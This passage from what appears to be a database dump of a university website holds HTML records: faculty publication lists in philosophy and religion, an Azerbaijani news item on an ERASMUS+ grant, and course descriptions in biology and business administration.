dilində);&nbsp;&nbsp;</p><p style=\"\" text-indent:-.25in;line-height:150%\"=\"\">16.&nbsp;Məqalə:&nbsp;“Correlation of multicultural labor units\r\nand development of personality (socio-philosophical aspects)”.&nbsp;Bakı, Xəzər Xəbər, oktyabr 2012, No. 311, səh.26-28. (İngilis dilində)&nbsp;  </p>\r\n<p style=\"\" text-indent:-.25in;line-height:150%\"=\"\">17.&nbsp;&nbsp;\r\nMəqalə:Müasir dövrdə innovativ texnologiyaların tətbiqinin bəzi\r\nsosial-fəlsəfi aspektləri. Xəzər Xəbər, İyun, 2013, No. 320, səh.26-27. (Azərbaycan\r\ndilində) </p>\r\n<p style=\"\" text-indent:-.25in;line-height:150%\"=\"\">18.&nbsp;&nbsp;\r\nMəqalə: Innovasiyaların sosial-fəlsəfi təhlili (Socio-philosophical\r\nanalysis of innovations- İngilis dilində) Jurnal:&nbsp; İMPACT, Amerika-Azbaycan Ticarət Palatası, No\r\n18, 2013, səh. 46-48<strong></strong></p><p style=\"\" text-indent:-.25in;line-height:150%\"=\"\">19. Məqalə: \"About some measures to be\r\ntaken to improve pre-service education in Azerbaijan (organizational approach)\",&nbsp;Xəzər Xəbər, İyun, 2015,\r\nNo. 337, (İngilis dilində). səh.60;    </p>\r\n<p style=\"\" text-indent:-.25in;line-height:150%\"=\"\">20.&nbsp;&nbsp;\r\nRedaktorluq və tərcümə: Reality in Lie (Yalanda Həqiqət) Müəllif:\r\nFazil Güney. (İngilis dilində)&nbsp;İSBN 13: 978-1-48-230647-1, ABŞ, Charleston, SC,\r\n12 İyul, 2013. 212 səh.<strong></strong></p>\r\n<p style=\"\" text-indent:-.25in;line-height:200%\"=\"\">21.&nbsp;&nbsp;\r\nTədris proqramı müəllifi: Koqnitiv psixoloyiya və\r\nstatistika-Klinik Psixologiya üçün Fənn proqramı və Kurikulum, Bakı, Azərbaycan,\r\n&nbsp;&nbsp;Kitab: Xəzər Universiteti, Tədris vəsaitlərinə nəşr hüququ (qrif) verilmiş fənn proqramları, Bakı, Xəzər Universiteti Nəşriyyatı, 2015, 901 səhifə. – İSBN 978-9952-20-104-8  </p><p style=\"\" text-indent:-.25in;line-height:200%\"=\"\">22.&nbsp;Məqalə: “Ali məktəblərdə elmin vəziyyəti ilə bağli\r\naraşdirmalarımız nəyi göstərdi”, Azərbaycan Müəllimi qəzeti, 28 Noyabr, 2014-cü\r\nil, 46-cı nömrə, səh.5 (həmmüəllif)</p>\r\n<p style=\"\" text-indent:-.25in;line-height:200%\"=\"\">23.&nbsp;&nbsp;\r\nKitab: Neft istehsal edən ölkələrin müasir problemləri və Azərbaycanda\r\nneftdən asılı olmayan iqtisadiyyatın qurulması yolları. İngilis dilində. (Müqayisəli\r\nyanaşma) MODERN CHALLENGES OF OIL PRODUCING COUNTRIES AND THE WAYS FOR\r\nESTABLISHING A NON-OIL DEPENDENT ECONOMY IN AZERBAIJAN (Comparative approach),\r\nİngilis dilində, Bakı, Müəllim” nəşriyyatı, 2014-cü il, 95 səhifə (Həmmüəllif)\r\nİSBN 978-9952-435-55-9</p>\r\n<p style=\"\" text-indent:-.25in;line-height:150%\"=\"\">24.<a>&nbsp;&nbsp;Dərs vəsaiti: “Qloballaşma və fəlsəfə.\r\nBaki”, “Müəllim” nəşriyyatı, 2017.- S. 34</a></p>\r\n<p>25.&nbsp;&nbsp;\r\nElmi redaktor: Eldar Şahgəldiyev: Ermənistan-Azərbaycan-Dağliq\r\nQarabağ münaqişəsində köçkün olmuş insanlara tətbiq olunan social-psixoloji\r\nyardım proqramları (Təhlil və mülahizələr) Müəlliflər: Qənirə İsgəndərova, Rəna\r\nŞahgəldiyeva:&nbsp; Bakı, “Müəllim“ nəşriyyatı,&nbsp; 2016, 123 səhifə, İSBN 978-9952-435—70-2 (Azərbaycan\r\ndilində)</p>\r\n<p style=\"\" text-indent:-.25in;line-height:150%\"=\"\">26.&nbsp; Məqalə:&nbsp;“England\'s Changing Foreign Policy in Its&nbsp;Modem&nbsp;International&nbsp;Relations”,&nbsp;2016.&nbsp;<a href=\"https://www.academia.edu/24977493/Englands_Changing_Foreign_Policy_in_Its_Modern_International_Relations\">ttps://www.academia.edu/24977493/Englands_Changing_Foreign_Policy_in_Its_Modern_International_Relations</a>&nbsp;&nbsp; &nbsp;&nbsp;<a href=\"https://khazar.academia.edu/EldarShahgaldiyev\">https://khazar.academia.edu/EldarShahgaldiyev</a>&nbsp;4 səhifə,&nbsp;on line, 2016. https://khazar.academia.edu/EldarShahgaldiyev</p>\r\n<p style=\"\" text-indent:-.25in;line-height:150%\"=\"\">27.&nbsp; &nbsp;Redaktor və rəy: Monoqrafiya “Platonun əsərlərində qanun ideyası”.\r\nM. Əkbərov, Bakı, \"CBS PP\", 2017, 248&nbsp;səh. (Azərbaycan dilində)</p>\r\n<p style=\"\" text-indent:-.25in;line-height:150%\"=\"\">28.&nbsp;&nbsp;\r\nDərs vəsaiti: “İnnovasiyalar və onların tətbiqinin sosial-fəlsəfi\r\nməsələləri”. Baki, “Müəllim” nəşriyyatı, 2017. - S. 29</p>\r\n<p>29.&nbsp;&nbsp;\r\nMəqalə:\r\n“About the history of Jewish norms and laws”. Baku, “Civilization”, Vol.6, Nr.2\r\n(34), 2017. &nbsp;pp. 121-126 (co-authorship) (İngilis dilində)</p>\r\n<p>&nbsp;30.&nbsp;&nbsp;\r\nMəqalə: “Innovations and questions of their applications.\r\nBaku, “Civilization”, Vol.6, Nr.3 (35), 2017. pp. 7-11.&nbsp;(İngilis dilində)</p>\r\n<p style=\"\" text-indent:-.25in;line-height:150%\"=\"\">31.&nbsp;&nbsp;\r\nMəqalə: “Высшееобразование и миграция\r\nстудентов за рубеж“, Этносоциум и межнациональная культура, № 11 (113), Международный\r\nиздательский центр “ЭТНОСОЦИУМ” - ВАК\r\nМинистерства образования и науки России, Москва -Этносоциум 2017, стр., 140 -149 .&nbsp;-&nbsp;С. 192 (İngilis&nbsp;dilində)</p>\r\n<p style=\"\" text-indent:-.25in;line-height:150%\"=\"\">32.&nbsp;&nbsp; Məqalə: “ GENESIS OF ESTABLISHMENT AND ESSENTIAL CHARACTERISTICS OF ANCIENT LAWS\r\nAND NORMS”. International Journal of\r\nArts Humanities and Social Sciences (IJAHSS), peer-reviewed monthly journal, paper\r\nİD “1079495372, İndia, December 2017 (co-authorship) (İngilis dilində)</p><p style=\"\" text-indent:-.25in;line-height:150%\"=\"\">33. Məqalə:   \"Azerbaijan as sending and receiving country in students\" migration\", Cultural World\", No. 12, Moscow-London.&nbsp;pp. 45-58. -&nbsp;P. 63&nbsp;(İngilis dilində)  <br></p><p style=\"\" text-indent:-.25in;line-height:150%\"=\"\">34. Məqalə:&nbsp;Fəlsəfə və sosiologiya: “İnnovasiyaların anlayış aparatı və tarixinə dair”,&nbsp;&nbsp;“Sivilizasiya” jurnalı, Cild 6, N.4, 2017 (36), səh. 7-13. -S. 222  <br></p><p style=\"\" text-indent:-.25in;line-height:150%\"=\"\">35.&nbsp;“Ali təhsildə dünya təcrübəsi”(müəllif-İsaxan Abdulla\r\noğlu İsaxanlı),&nbsp;Dərs vəsaiti üçün rəy,&nbsp;Bakı, Xəzər Univer.&nbsp;nəşriyyatı, Aprel, 2017. - S.37&nbsp;</p> <p style=\"\" text-indent:-.25in;line-height:150%\"=\"\">36. Məqalə:&nbsp;“Qızıl payız lövhələri və\r\nQarabağ...”&nbsp;  Aznews.az, 17 Yanvar, 2018&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\r\nhttp://www.aznews.az/news/cemiyyet/162563.html;&nbsp;&nbsp;    </p><p style=\"\" text-indent:-.25in;line-height:150%\"=\"\">37. Məqalə:&nbsp;“Qızıl payız lövhələri və\r\nQarabağ...”-&nbsp;esse-etüd, “Xəzər-Xəbər”, Nr. 369, Yanvar, 2018, səh.60  </p><p style=\"\" text-indent:-.25in;line-height:150%\"=\"\">38. Məqalə:&nbsp;&nbsp;“Qədim yunan fəlsəfəsi və onun klassik mərhələsi”,&nbsp;“Xəzər-Xəbər”, Nr. 371,\r\nMart, 2018,&nbsp;səh.52-56 (həmmüəllif);  &nbsp;;  </p><p style=\"\" text-indent:-.25in;line-height:150%\"=\"\">39. Məqalə:&nbsp;“Fəlsəfədə varlıq və\r\nmateriya problemi”,&nbsp;Baku, “Civilization”,\r\nVol.7, Nr.1 (37), 2018. (həmmüəllif).&nbsp;&nbsp;  </p><p style=\"\" text-indent:-.25in;line-height:150%\"=\"\">40. Məqalə:&nbsp;“Antik Yunan və Roma fəlsəfəsi”,&nbsp;Baku, “Civilization”,\r\nVol.8, Nr.2 (37), 2018.&nbsp;&nbsp;  </p><p style=\"\" text-indent:-.25in;line-height:150%\"=\"\">41. Məqalə:&nbsp;“Sivilizasiya və mədəniyyət,\r\nonların qarşılıqlı əlaqəsi”,&nbsp;Bakı, ADMİU-nun “Mədəniyyət\r\ndünyası” elmi jurnalı, XXV, 2018  </p><p style=\"\" text-indent:-.25in;line-height:150%\"=\"\">42. Məqalə:\"Conscious is the highest reflection of reality\"  ,&nbsp;Baku, “Civilization”, Vol.7, Nr.1 (37), 2018.    </p><p style=\"\" text-indent:-.25in;line-height:150%\"=\"\"><br></p>\r\n<p><strong>Mail Yagubov Ph D.</strong></p></div></div><div><p style=\"font-size:medium\"><strong>Books:</strong></p><p style=\"font-size:medium\">1.Philosophy of religion.Nurlar Publishing House.Baku, 2011. 250 pages</p><p style=\"font-size:medium\">2. Meditations on the&nbsp;metaphysics.&nbsp;Nurlar Publishing House.Baku, 2012. 104 pages</p><p style=\"font-size:medium\"><strong>Articles:</strong></p><p style=\"font-size:medium\">1.&nbsp;<a href=\"http://www.mediaforum.az/az/2012/07/13/D%C4%B0N-v%C9%99-ELM-1-054743407c06.html\" target=\"_blank\">DİN və ELM (1)</a>&nbsp;Mediaforum.az, 13.07.2012</p><p style=\"font-size:medium\">2.&nbsp;<a href=\"http://www.mediaforum.az/az/2012/07/16/D%C4%B0N-v%C9%99-ELM-2-105634715c06.html\" target=\"_blank\">DİN və ELM (2)</a>&nbsp;Mediaforum.az, 16.07.2012</p><p style=\"font-size:medium\">3.&nbsp;<a href=\"http://www.mediaforum.az/az/2012/07/17/D%C4%B0N-v%C9%99-ELM-3-122426380c06.html\" target=\"_blank\">DİN və ELM (3)</a>&nbsp;Mediaforum.az, 17.07.2012</p><p style=\"font-size:medium\">4.&nbsp;<a href=\"http://www.mediaforum.az/az/2012/06/22/D%C4%B0N-v%C9%99-%C6%8FXLAQ-1-024809983c06.html\" target=\"_blank\">DİN və ƏXLAQ (1)</a>&nbsp;Mediaforum.az, 22.06.2012</p><p style=\"font-size:medium\">5.&nbsp;<a href=\"http://www.mediaforum.az/az/2012/07/03/D%C4%B0N-v%C9%99-%C6%8FXLAQ-2-045820736c06.html\" target=\"_blank\">DİN və ƏXLAQ (2)</a>&nbsp;Mediaforum.az, 03.07.2012</p><p style=\"font-size:medium\">6.&nbsp;<a href=\"http://www.mediaforum.az/az/2012/07/04/D%C4%B0N-v%C9%99-%C6%8FXLAQ-3-115647539c06.html\" target=\"_blank\">DİN və ƏXLAQ (3)</a>&nbsp;Mediaforum.az, 04.07.2012</p><p style=\"font-size:medium\">7.&nbsp;<a href=\"http://www.mediaforum.az/az/2012/06/14/KAM%C4%B0L-D%C4%B0N-061120125c06.html\" target=\"_blank\">KAMİL DİN</a>&nbsp;Mediaforum.az, 14.06.2012</p><p style=\"font-size:medium\">8.&nbsp;<a href=\"http://www.mediaforum.az/az/2012/06/06/D%C4%B0N%C4%B0-PL%C3%9CRAL%C4%B0ZM-115936630c06.html\" target=\"_blank\">DİNİ PLÜRALİZM</a>&nbsp;Mediaforum.az, 06.06.2012</p><p style=\"font-size:medium\">9.&nbsp;<a href=\"http://www.mediaforum.az/az/2012/06/01/D%C4%B0N%C4%B0N-QAYNA%C4%9EI-040110334c06.html\" target=\"_blank\">DİNİN QAYNAĞI</a>&nbsp;Mediaforum.az, 01.06.2012</p><p style=\"font-size:medium\">10.&nbsp;<a href=\"http://www.mediaforum.az/az/2012/05/16/ORTA-YOL-035030004c06.html\" target=\"_blank\">ORTA YOL</a>&nbsp;Mediaforum.az, 16.05.2012</p><p style=\"font-size:medium\">11.&nbsp;<a href=\"http://www.mediaforum.az/az/2012/05/10/%C6%8FQL-v%C9%99-D%C4%B0N-010534765c06.html\" target=\"_blank\">ƏQL və DİN</a>&nbsp;Mediaforum.az, 10.05.2012</p><p style=\"font-size:medium\">12.&nbsp;<a href=\"http://www.mediaforum.az/az/2012/05/08/D%C4%B0N-v%C9%99-F%C6%8FLS%C6%8FF%C6%8F-015018379c06.html\" target=\"_blank\">DİN və FƏLSƏFƏ</a>&nbsp;Mediaforum.az, 08.05.2012</p><p style=\"font-size:medium\">13.&nbsp;<a href=\"http://www.khazar.org/files/philosophy_depart/Nizami-Edalet.pdf\">Nizami Gəncəvinin fəlsəfi irsində “Ədalət” nəzəriyyəsi</a>  </p><p style=\"font-size:medium\">14.&nbsp;<a href=\"http://www.khazar.org/files/philosophy_depart/Musahibe-PIA.AZ.pdf\">Filosof: “Nəyə görə ana müqəddəs olmalıdır?” – Müsahibə</a>  </p><p style=\"font-size:medium\">15.<a href=\"http://www.khazar.org/files/philosophy_depart/Musahibe-Edalet%20qezeti.pdf\">&nbsp;İstedad olmadan böyük nailiyyət qazanmaq çətindir...</a>  </p><p style=\"font-size:medium\">***</p><p style=\"font-size:medium\">&nbsp;<strong>Cavid Imamoghlu Ph D.</strong></p><p style=\"font-size:medium\">1. AMEA Fəlsəfə, Sosiologiya və Hüquq İnstitutunun “Elmi əsərlər” Beynəlxalq elmi-nəzəri jurnalının 2013-ci ilin 1-ci (20) sayında “Yaşlı intiharlarının əsas səbəbləri və önləyici tədbirlər” adlı məqalə</p><p style=\"font-size:medium\">2. “Ahıllar sosial işin obyekti kimi”. Müasir dövrün aktual problemləri elmi əsərlər toplusu, №3, 2010</p><p style=\"font-size:medium\">3. Ahılların psixoloji davranışında ailənin rolu. Müasir dövrün aktual problemləri elmi əsərlər toplusu, №3, 2010</p><p style=\"font-size:medium\"><strong>Konfranslar:</strong></p><p style=\"font-size:medium\"><strong>&nbsp;</strong>• Women Deliver 3rd Global Conference in Kuala Lumpur, Malaysia (May, 2013)</p><p style=\"font-size:medium\">• Lankaran-June, 2013. “Empowering Women In Traditional Societies: Agency And Entrepreneurship” conducted by FNF and CRC, trainer Tanya Rother</p><p style=\"font-size:medium\">• Ganja-September, 2013. Moderator at the “Conference on the role of woman in the society” conducted by Young Leaders Public Union</p><p style=\"font-size:medium\">• Moscow-September, 2013. Conference named “The psycho-social wellbeing of youth people at XXI century”</p><p style=\"font-size:medium\">&nbsp;</p><p style=\"font-size:medium\">***</p><p style=\"font-size:medium\">&nbsp;</p><p style=\"font-size:medium\"><strong>Elsavar Samadov Ph D.</strong></p><p style=\"font-size:medium\"><strong>Books</strong></p><p style=\"font-size:medium\"><strong>1.&nbsp;</strong>Relationship between State and Religion, Teknur, Baku, 2009.</p><p style=\"font-size:medium\"><strong>2. &nbsp;</strong>Eschatology: Myth and Reality, Nurlar, Baku, 2009.</p><p style=\"font-size:medium\"><strong>3.&nbsp;</strong>Islamic Moral, Ipekyolu, Baku, 2010.</p><p style=\"font-size:medium\">&nbsp;</p><p style=\"font-size:medium\"><strong>Articles:</strong>&nbsp;</p><ol style=\"font-size:medium\"><li>Individual estimate of religious education impact in Azerbaijan, “Azerbaijan and Azerbaijanian” Baku, No: 1-4,&nbsp; 2007.</li><li>Eschatology Problem in Islamic Thought, “Azerbaijan and Azerbaijanian” Baku, No: 5-12, 2007.</li><li>Christianity Fundamentalism, Scientific Works, Baku, No: 1(14), pp.43-55.</li><li>Eschatology and Actions of Missioners, “Science”, Baku, No: 41-44(848-851); 29.12.2007.</li><li>Social- cultural life in Azerbaijan in Soviet period: Religion, Education and Religious Education, “Degerler”, Turkey, October 2008, No: 4, p 44-56.</li><li>Christianity and Islamic Fundamentalism: Comparative analysis, “Scientific Works”, Baku, No: 1(15), p.220-229.</li><li>Midrise in Azerbaijan, World of Muslims, Moscow, 2011, No: 49 (3), p.24-32.</li><li>Philosophy of Religion, “Science”, Baku, No: 37-38(844-845); 30.11.2007.</li><li>Theosophical Sufi Ibn Arabi`s philosophy of love, International Symposium from Yunis Emre to Muhammed Fuzili, Baku, 2011, pp. 48-54.</li><li>&nbsp;Postmodernism and Ethical, National-Spiritual values, “Philosophy”, No: 1(14), Baku, 2010, p. 227-233.</li><li>&nbsp;Fundamentalism in history of Christian Social thought: main point, directions of idea and political, “Scientific Works”, No: 1(14), 2010, pp.&nbsp;43-55.</li><li>Celaladdin Rumi-800: View to World by purified heart, “Science”, No: 35-36(842-843), 15.XI, 2007, p. 6.</li><li>Islam in Azerbaijan, Boley University, Bucharest, Romania.</li><li>Religious fundamentalism: Traces of fundamentalism in Azerbaijan, “Freedom of Religion in Kazakhstan” international conference material, Astana, Kazakhstan- 2013.</li></ol><p style=\"font-size:medium\">&nbsp;</p><p style=\"font-size:medium\">&nbsp;<strong>Conferences</strong>:</p><ol style=\"font-size:medium\"><li>“Religious Edication in European Countries” International Conferanse in Istanbul, Turkey, 2007.</li><li>“Baku International Humanitarian Forum”, Baku, Azerbaijan, Octember, 2011.</li><li>“Dialogue between Cultures: In Prism Cultural Diversity, International Symposium, Baku, Azerbaijan, April, 2011.</li><li>“International Symposium from Yunis Emre to Muhammed Fuzili, Baku, 2011</li><li>“Freedom of Religion in Kazakhstan” international conference material, Astana, Kazakhstan, 19 Mart,&nbsp;2013.<br></li></ol>  <br></div>'),(2092,1283,'az','Xəzər Universitetinin daha bir layihəsi ERASMUS + programının qrantını qazanmışdır. ','ERASMUS + Key Action 2 – Ali təhsildə bacarıqların inkişafı sahəsində layihələrin nəticələrində Xəzər Universiteti qrant qazanmış...','<p>ERASMUS + Key Action 2 – Ali təhsildə bacarıqların inkişafı sahəsində\r\n layihələrin nəticələrində Xəzər Universiteti qrant qazanmış 147 \r\nUniversitet sırasına daxil edilmişdir.  Layihə Azərbaycan \r\nUniversitetlərində Öyrənmə və Təlimin Təkmilləşdirilməsi adlı layihə \r\nqrantı qazanmışdır. Azərbaycandan və Avropadan 14 tərəfdaşı olan \r\nlayihənin xüsusi məqsədləri (1) Öyrənmə və Təlim prosesinin pedaqoji və \r\ntexnoloji ehtiyaclarını ödəmək üçün İnsan kapitalının İnkişaf \r\netdirilməsi və (2)  İnnovativ texnologiya, tədqiqatın, fəal öyrənmənin \r\nvə Avropa universitetləri ilə uzunmüddətli münasibətlərin qurulması \r\nvasitəsilə Keyfiyyətli Öyrənmə və Təlimin inkişaf etdirilməsi və təmin \r\nedilməsidir.  </p>\r\n<p>Üç illik layihə 9 Azərbaycanlı və 5 \r\navropalı tərəfdaşın yaxın iştirakı ilə tərtib olunmuş və 908, 623.00 \r\nAvro məbləğində qrantı qazanmışdır. Layihənin birbaşa benefisiarları PhD\r\n tələbələr, tədqiqatçılar, professor-müəllim heyətidir.  </p>\r\n<p>Azərbaycanlı tərəfdaşlar  </p>\r\n<p>1. Xəzər Universiteti – layihə koordinatoru </p><p>2. Naxçıvan Dövlət Universiteti  </p><p>3. Gəncə Dövlət Universiteti  </p><p>4. Sumqayıt Dövlət Universiteti  </p><p>5. Bakı Slavyan Universiteti  </p><p>6. Qafqaz Universiteti  </p><p>7. Azərbaycan Dövlət Pedagoji Universiteti  </p><p>8. Azərbaycan Universiteti  </p><p>9. Azərbaycan Respublikası Təhsil Nazirliyi  </p>\r\n<p>Avropa tərəfdaşları  </p>\r\n<p>1. Jyvaskala Universiteti, Finlandiya  </p><p>2. Mərkəzi Avropa Universiteti, Macarıstan  </p><p>3. Valensiya Universiteti, İspaniya  </p><p>4. Vyana Tətbiqi Elmlər Universiteti, Avstriya  </p><p>5. Qazi Universiteti, Türkiyə  </p>\r\n<p>Əlavə\r\n məlumatı aşağıdakı internet səhifəsindən əldə edə bilərsiniz: <a href=\"https://eacea.ec.europa.eu/sites/eacea-site/files/cbhe_2016_results_by_region.pdf\"> \r\nhttps://eacea.ec.europa.eu/sites/eacea-site/files/cbhe_2016_results_by_region.pdf</a>\r\n </p>'),(1256,771,'en','B','B','<div><br></div><div style=\"font-family:\'times new roman\', times, serif\"><br></div><h4><strong>Biology (BIO)  <br></strong></h4><div style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong><br></strong></div><div style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><h4><strong>Business Administration (BSA) </strong></h4> <br></div><div style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong><br></strong></div><div style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><br></div><div><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>BIO 101: General Biology (3 credits)</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">This course is designed to familiarize the students with three important aspects of biology at an introductory level. The first part deals with cellular organization: cell structure, chemical constituents, cellular respiration and photosynthesis, control of cellular activity, and the role of the nucleus and cytoplasm. The second part deals with basic concepts in genetics. The third part deals with biological activity at the level of the organism: structure and function of body parts, response of the organism to tits biological and physical environments, biological rhythms, and behavior. The process of evolution is also covered.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>BIO 203 Cytology, histology and embryology (3 credits)</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Prerequisite: BIO 101</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">This course is composed of 3 related sciences.&nbsp; The first is structural and functional analysis of the nuclear and cytoplasmic compartments of the cell with emphasis on the microscopic and submicroscopic structure of muscle, nerve, secretory and sensory ceils. Histology focuses on microstructures of the human body and their related functions, and is divided into general histology that studies the cell and intracellular matrix of the 4 basic types of tissue, and special histology that studies how the tissues constitute the organs in various systems. Embryology mainly concerns the developmental processes and mechanism of a human being, and is divided into general embryology that studies the formations and development of germ cells, fertilization and early development of a human embryo, and special embryology that studies the formation and malformations of different organs. The teaching program of cytology, histology and embryology includes lectures and laboratory practices.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>&nbsp;</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>BIO 217: General Plant Biology (anatomy and plant physiology)</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>(3 credits)</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">This course is the basic introductory lecture and laboratory course designed especially for Biological Sciences and Education Department majors. This course introduces the student to the basics of plant biology including plant anatomy and plant morphology, physiology, metabolism, reproduction and ecology. This course covers cell and tissue types, development of primary and secondary tissues, and structure of vegetative organs with emphasis on angiosperms. The course continues with an introduction to plant physiology of higher plants with emphasis on biochemical, cell biological and molecular aspects of how plants function. Unique aspects of regulation of plant metabolism including photosynthesis, respiration, growth and stress responses are emphasized. Introduces concepts of structure-function relationships, aspects of organismal maintenance, environmental response, growth, and reproduction are related to structure, and comparisons made between specializations in representative plants. The laboratory exercises are designed to study plant processes such as respiration, photosynthesis, tropisms, and secondary metabolite accumulation.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>&nbsp;</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>BIO 312: Systematical Botanics (3 credits)</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">This course covers basic and contemporary systematic principles and methods as applied to plants, including classification, identification skills, phylogenetics, and surveys of important families of major groups of plants via lectures and lab practice. The course continues with introduction to plant morphology including eukaryotic algae, fungi, bryophytes, and vascular plants to (typically) a phylum to ordinal level.&nbsp; Emphasis is on comparative morphology and life cycles. The theoretical foundations of plant taxonomy and the types of evidences used in constructing plant classification and identification procedures are explained. Students are expected to achieve the following objectives after successfully completing the course: describe a plant using botanical terms, learn key characteristics for identification of important families of ferns, allies, conifers and other flowering plants, recognize large and common families of flowering plants.&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>&nbsp;</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>BIO 312: Systematical Zoology (3 credits)</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">This course provides an overview of the invertebrate and vertebrate animals, including sponges, cnidarians, flatworms, nematodes, annelids, mollusks, arthropods, echinoderms, minor protostome and deuterostome groups, invertebrate chordates, fishes, amphibians, reptiles, birds, and mammals. Lectures cover various aspects of the biology of animals, including animal classification and phylogeny, anatomical structure and function, behavior, biogeography and roles in the environment. Laboratory practical work emphasizes observation and investigation of living and preserved specimens, including some dissection. Independent projects are encouraged to improve research skills.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>BIO 434: Molecular Biology (3 credits)</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">An introductory course covering the structure and properties of macromolecules, their interactions, organization of genes, ions chromosomes, replication and transcription of genetic material, protein synthesis and genetic engineering techniques.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><br></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong><a></a><strong>BSA 101: Introduction to Business&nbsp;(3 credits)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</strong></strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Prerequisite: None</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">A basic background for the various fields of business; a general survey of the entire field of economics, business and management in the free enterprise system; concepts of business and management functions, organizational considerations, and decision-making processes. Explores areas of specialization in the business world; exposure to business in small-medium-large organizations.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">&nbsp;</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>BSA 205: Computer Applications for Economics and Business (3 credits)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Prerequisite: CMS 101</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">This is a practical course on how to use a computer, especially the personal computer, as an economic and business problem-solving tool. The course is based on tools provided by Microsoft Office and plenty of examples of economic and business problems.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>&nbsp;</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>BSA 210: Computer Applications in Business&nbsp;(3 credits)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Prerequisite: CMS 101</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">This is a practical course on how to use a computer, especially the personal computer, as a business problem-solving tool. The course is based on tools provided by Microsoft Office and examples from accounting, finance and management courses.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>&nbsp;</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>BSA 215: Statistical Methods for Economics and Business (3 credits)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Prerequisite: MATH 101</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">The course builds a foundation in statistics and develops applications of statistical tools to economic analysis. It includes: descriptive statistics, probabilities, estimation, and regression analysis. Cases and statistical packages support the course content.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>&nbsp;</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>BSA 250: Business Statistics (4 credits)&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Prerequisite: MATH 101</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">The course builds a foundation on statistics and develops applications to business decision making. It includes: descriptive statistics, probabilities, estimation, and regression analysis. The course also provides a set of skills for achieving and maintaining statistical process control methods and problem-solving tools. Cases and micro-computer statistical packages support the course content.</p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>&nbsp;</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>BSA 410: Business Analysis&nbsp;(3 credits)</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><strong>Prerequisite: BSA 250, MATH 225</strong></p><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">The course combines statistical analysis, modeling and decision making approaches. Topics covered are: data collection, processing, analysis and interpretation; modeling, simulation and decision analysis.</p><p style=\"font-family:\'times new roman\', times, 